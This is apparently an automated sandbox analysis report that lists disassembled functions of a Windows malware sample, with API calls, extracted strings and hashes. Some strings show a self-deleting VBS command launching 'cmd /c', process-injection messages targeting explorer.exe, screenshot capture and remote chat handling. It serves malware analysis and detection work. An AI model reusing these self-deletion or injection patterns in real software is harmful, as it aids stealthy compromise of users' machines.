                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                            • String ID:
                                                                                            • API String ID: 161543041-0
                                                                                            • Opcode ID: 0aefceb04b648aea5efd53e91dec8318d050154b6956abd82aee10787160205d
                                                                                            • Instruction ID: 8d5a52dc196ca223d521196e0170462af54da78aea2ffa7a7b46d1c1532e12ca
                                                                                            • Opcode Fuzzy Hash: 0aefceb04b648aea5efd53e91dec8318d050154b6956abd82aee10787160205d
                                                                                            • Instruction Fuzzy Hash: 57316F355003009FEB20AA79D84AB5B73E9EF01365F51445FF88AD7652DF38AC48D719
                                                                                            Function 10007CC2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ___free_lconv_mon.LIBCMT ref: 10007D06
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 100090D7
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 100090E9
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 100090FB
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 1000910D
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 1000911F
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 10009131
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 10009143
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 10009155
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 10009167
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 10009179
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 1000918B
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 1000919D
                                                                                              • Part of subcall function 100090BA: _free.LIBCMT ref: 100091AF
                                                                                            • _free.LIBCMT ref: 10007CFB
                                                                                              • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                              • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                            • _free.LIBCMT ref: 10007D1D
                                                                                            • _free.LIBCMT ref: 10007D32
                                                                                            • _free.LIBCMT ref: 10007D3D
                                                                                            • _free.LIBCMT ref: 10007D5F
                                                                                            • _free.LIBCMT ref: 10007D72
                                                                                            • _free.LIBCMT ref: 10007D80
                                                                                            • _free.LIBCMT ref: 10007D8B
                                                                                            • _free.LIBCMT ref: 10007DC3
                                                                                            • _free.LIBCMT ref: 10007DCA
                                                                                            • _free.LIBCMT ref: 10007DE7
                                                                                            • _free.LIBCMT ref: 10007DFF
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                            • String ID:
                                                                                            • API String ID: 161543041-0
                                                                                            • Opcode ID: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                            • Instruction ID: 6de9b84f5b51ee4e35cbeb1ed48e08772f21b212059d2ac72beb9c863e9ed859
                                                                                            • Opcode Fuzzy Hash: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                            • Instruction Fuzzy Hash: 90313931A04645EFFB21DA38E941B6A77FAFF002D1F11446AE84DDB159DE3ABC809B14
                                                                                            Function 0040C66D Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 147COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00411771: TerminateProcess.KERNEL32(00000000,pth_unenc,0040E748), ref: 00411781
                                                                                              • Part of subcall function 00411771: WaitForSingleObject.KERNEL32(000000FF), ref: 00411794
                                                                                              • Part of subcall function 00412735: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,00475308), ref: 00412751
                                                                                              • Part of subcall function 00412735: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0041276A
                                                                                              • Part of subcall function 00412735: RegCloseKey.KERNEL32(00000000), ref: 00412775
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040C6C7
                                                                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466900,00466900,00000000), ref: 0040C826
                                                                                            • ExitProcess.KERNEL32 ref: 0040C832
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                                                            • String ID: """, 0$.vbs$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$PSG$Temp$exepath$open
                                                                                            • API String ID: 1913171305-1605470806
                                                                                            • Opcode ID: fe842e2e9934c1b3247a1a977ccb217d928c9252a2e93045dd26a7b182e3a547
                                                                                            • Instruction ID: 0a59ab1ac2652dc6c4b0de1f1bfb113b457f9f33def171b9a9917dadcc9857af
                                                                                            • Opcode Fuzzy Hash: fe842e2e9934c1b3247a1a977ccb217d928c9252a2e93045dd26a7b182e3a547
                                                                                            • Instruction Fuzzy Hash: 2E416D329101185ACB14F761DC56DFE7779AF50708F10417FF806B31E2EE786A8ACA98
                                                                                            Function 0044F5F1 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free
                                                                                            • String ID:
                                                                                            • API String ID: 269201875-0
                                                                                            • Opcode ID: b030283a6c0ce51ba92dd09d555ed862ebb201d4cb761b5ee972a13664eb7e13
                                                                                            • Instruction ID: 986e8a668492dbee8f9f46891c6c86f5dcf9ebf43b9fca0c5b911ed3811bef24
                                                                                            • Opcode Fuzzy Hash: b030283a6c0ce51ba92dd09d555ed862ebb201d4cb761b5ee972a13664eb7e13
                                                                                            • Instruction Fuzzy Hash: 1FC15371D40204BBEB20EAA8CC82FEE77B89B08704F15416AFE45FB282D6749D459768
                                                                                            Function 00454B92 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00454860: CreateFileW.KERNEL32(00000000,?,?,;LE,?,?,00000000,?,00454C3B,00000000,0000000C), ref: 0045487D
                                                                                            • GetLastError.KERNEL32 ref: 00454CA6
                                                                                            • __dosmaperr.LIBCMT ref: 00454CAD
                                                                                            • GetFileType.KERNEL32(00000000), ref: 00454CB9
                                                                                            • GetLastError.KERNEL32 ref: 00454CC3
                                                                                            • __dosmaperr.LIBCMT ref: 00454CCC
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00454CEC
                                                                                            • CloseHandle.KERNEL32(?), ref: 00454E36
                                                                                            • GetLastError.KERNEL32 ref: 00454E68
                                                                                            • __dosmaperr.LIBCMT ref: 00454E6F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                            • String ID: H
                                                                                            • API String ID: 4237864984-2852464175
                                                                                            • Opcode ID: 7241ecee4a5f1f89fc763009d89c6ec11b2c57897b1f7dc41199f6beedf99759
                                                                                            • Instruction ID: a1ee14646c220e05fb339a94c39d658440f80e8cb8884f5184f0ba1168eb6fd8
                                                                                            • Opcode Fuzzy Hash: 7241ecee4a5f1f89fc763009d89c6ec11b2c57897b1f7dc41199f6beedf99759
                                                                                            • Instruction Fuzzy Hash: EBA126319045489FDF19DF68D8427AE7BB1EB46329F14015EEC01AF392CB398896CB5A
                                                                                            Function 0041931E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 174sleeptimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __EH_prolog.LIBCMT ref: 00419323
                                                                                            • GdiplusStartup.GDIPLUS(00474AF4,?,00000000), ref: 00419355
                                                                                            • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 004193E1
                                                                                            • Sleep.KERNEL32(000003E8), ref: 00419463
                                                                                            • GetLocalTime.KERNEL32(?), ref: 00419472
                                                                                            • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041955B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                                                                            • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$VG$VG
                                                                                            • API String ID: 489098229-455837001
                                                                                            • Opcode ID: 4685c22853def3de9296d9f553248c8960e6f9fdb87cdcd6e9e58e1928f4b9be
                                                                                            • Instruction ID: fd6a6a94d4e700b4a78141c9ee43bb9ee9cebd21b8d39b126fa21a823fd8be24
                                                                                            • Opcode Fuzzy Hash: 4685c22853def3de9296d9f553248c8960e6f9fdb87cdcd6e9e58e1928f4b9be
                                                                                            • Instruction Fuzzy Hash: 9F517B71A002449ACB14BBB5C866AFE7BA9AB55308F40403FF845B71D2EF3C5E85C799
                                                                                            Function 00413D3F Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 155COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 65535$udp
                                                                                            • API String ID: 0-1267037602
                                                                                            • Opcode ID: ca54308d78d3c4eee7f7b8de95e44a5f1974b5ba6ce0b2e83d9cd08af329ba0f
                                                                                            • Instruction ID: c3bfc2202edcb816331f8b78e042012e01f064b481147a6b300cfea58c86e196
                                                                                            • Opcode Fuzzy Hash: ca54308d78d3c4eee7f7b8de95e44a5f1974b5ba6ce0b2e83d9cd08af329ba0f
                                                                                            • Instruction Fuzzy Hash: E241F4716093029BD7209F28D905BBB3BA4EB84742F04042FF98593391EB6DDEC1866E
                                                                                            Function 0041700D Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 107filesynchronizationCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,00466554), ref: 0041710A
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00417113
                                                                                            • DeleteFileA.KERNEL32(00000000), ref: 00417122
                                                                                            • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 004170D6
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseDeleteExecuteFileHandleObjectShellSingleWaitsend
                                                                                            • String ID: <$@$HVG$HVG$TeF$Temp
                                                                                            • API String ID: 1107811701-3258348784
                                                                                            • Opcode ID: 3d0dbcc3d4c050893dbdcba72a1bf1295c93e91b9903942f9e4127c560b2a700
                                                                                            • Instruction ID: 91e4b2e714ed18abe86730f534b33d619c8c8851ecafca63038a632c75497fc1
                                                                                            • Opcode Fuzzy Hash: 3d0dbcc3d4c050893dbdcba72a1bf1295c93e91b9903942f9e4127c560b2a700
                                                                                            • Instruction Fuzzy Hash: 00319C31A00209ABCB04FBA1DC56AEE7775AF50308F40417EF506761E2EF785A89CB99
                                                                                            Function 00439571 Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004395C9
                                                                                            • GetLastError.KERNEL32(?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004395D6
                                                                                            • __dosmaperr.LIBCMT ref: 004395DD
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439609
                                                                                            • GetLastError.KERNEL32(?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439613
                                                                                            • __dosmaperr.LIBCMT ref: 0043961A
                                                                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401AD8,?), ref: 0043965D
                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439667
                                                                                            • __dosmaperr.LIBCMT ref: 0043966E
                                                                                            • _free.LIBCMT ref: 0043967A
                                                                                            • _free.LIBCMT ref: 00439681
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                                                            • String ID:
                                                                                            • API String ID: 2441525078-0
                                                                                            • Opcode ID: 7d25b48f924a9fae5a5881453bd469cfe57fd0c2e6412707544dbbd620f0408d
                                                                                            • Instruction ID: 4e2bc3e06b1619faa1414a7a2c806c5d1514cda6e297fdc8b1054bbcfea92265
                                                                                            • Opcode Fuzzy Hash: 7d25b48f924a9fae5a5881453bd469cfe57fd0c2e6412707544dbbd620f0408d
                                                                                            • Instruction Fuzzy Hash: D431E27280560ABFDF11AFA5DC459AF3B68EF09324F10015EF81066251DB39CD50DBAA
                                                                                            Function 00404E52 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetEvent.KERNEL32(?,?), ref: 00404E71
                                                                                            • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00404F21
                                                                                            • TranslateMessage.USER32(?), ref: 00404F30
                                                                                            • DispatchMessageA.USER32(?), ref: 00404F3B
                                                                                            • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00404FF3
                                                                                            • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 0040502B
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                                                            • String ID: CloseChat$DisplayMessage$GetMessage
                                                                                            • API String ID: 2956720200-749203953
                                                                                            • Opcode ID: f1fa3684df9bbfa91eaffc2f3dc2241158f0be0063aea16c7d5b0e4145d3af78
                                                                                            • Instruction ID: 290a0909c372499a911e5ffd519e5407deecd3e64339803c74491ead196e324c
                                                                                            • Opcode Fuzzy Hash: f1fa3684df9bbfa91eaffc2f3dc2241158f0be0063aea16c7d5b0e4145d3af78
                                                                                            • Instruction Fuzzy Hash: A441B1726043016BC614FB75DC568AF7BA8ABC1714F00093EF906A31E6EF38DA05C79A
                                                                                            Function 00406616 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 98COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32(00475A50,00000000,?,00003000,00000004,00000000,00000001), ref: 00406647
                                                                                            • GetCurrentProcess.KERNEL32(00475A50,00000000,00008000,?,00000000,00000001,00000000,004068BB,C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe), ref: 00406705
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CurrentProcess
                                                                                            • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$peF$windir
                                                                                            • API String ID: 2050909247-369753874
                                                                                            • Opcode ID: 3d4dde61fac8f932cecf13147f1715ad91c8a5d9075df555c2e0fc840e87cdfb
                                                                                            • Instruction ID: 2a8ac338152687dbadce55b3d6de3572d7837fd421bef744f3a625c24d449dc1
                                                                                            • Opcode Fuzzy Hash: 3d4dde61fac8f932cecf13147f1715ad91c8a5d9075df555c2e0fc840e87cdfb
                                                                                            • Instruction Fuzzy Hash: B231B671600700AFD300AF65DC8AF5677A8FB44709F11053EF50ABB6E1EBB9A8548B6D
                                                                                            Function 00419E7B Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,?,?,?,?,?,?,004197EE,00000000,00000000), ref: 00419E8A
                                                                                            • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,004197EE,00000000,00000000), ref: 00419EA1
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004197EE,00000000,00000000), ref: 00419EAE
                                                                                            • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,004197EE,00000000,00000000), ref: 00419EBD
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004197EE,00000000,00000000), ref: 00419ECE
                                                                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004197EE,00000000,00000000), ref: 00419ED1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Service$CloseHandle$Open$ControlManager
                                                                                            • String ID:
                                                                                            • API String ID: 221034970-0
                                                                                            • Opcode ID: d8ee8a8803e7433114f97b69310c3a8ddf5ffb6cd74ebe626055e8ac32cb8db8
                                                                                            • Instruction ID: 401ec45fa9dd23e1a78cca63bf6ad54db5d4c9b9326c405a7ffc92fc58cb3c60
                                                                                            • Opcode Fuzzy Hash: d8ee8a8803e7433114f97b69310c3a8ddf5ffb6cd74ebe626055e8ac32cb8db8
                                                                                            • Instruction Fuzzy Hash: 4211A331941218BBD711AB64DC85DFF3B6CDB45BA1B05002AF902A21D2DF64CD4A9AB5
                                                                                            Function 00446FDB Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 00446FEF
                                                                                              • Part of subcall function 00446CD5: RtlFreeHeap.NTDLL(00000000,00000000,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A), ref: 00446CEB
                                                                                              • Part of subcall function 00446CD5: GetLastError.KERNEL32(0000000A,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A,0000000A), ref: 00446CFD
                                                                                            • _free.LIBCMT ref: 00446FFB
                                                                                            • _free.LIBCMT ref: 00447006
                                                                                            • _free.LIBCMT ref: 00447011
                                                                                            • _free.LIBCMT ref: 0044701C
                                                                                            • _free.LIBCMT ref: 00447027
                                                                                            • _free.LIBCMT ref: 00447032
                                                                                            • _free.LIBCMT ref: 0044703D
                                                                                            • _free.LIBCMT ref: 00447048
                                                                                            • _free.LIBCMT ref: 00447056
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
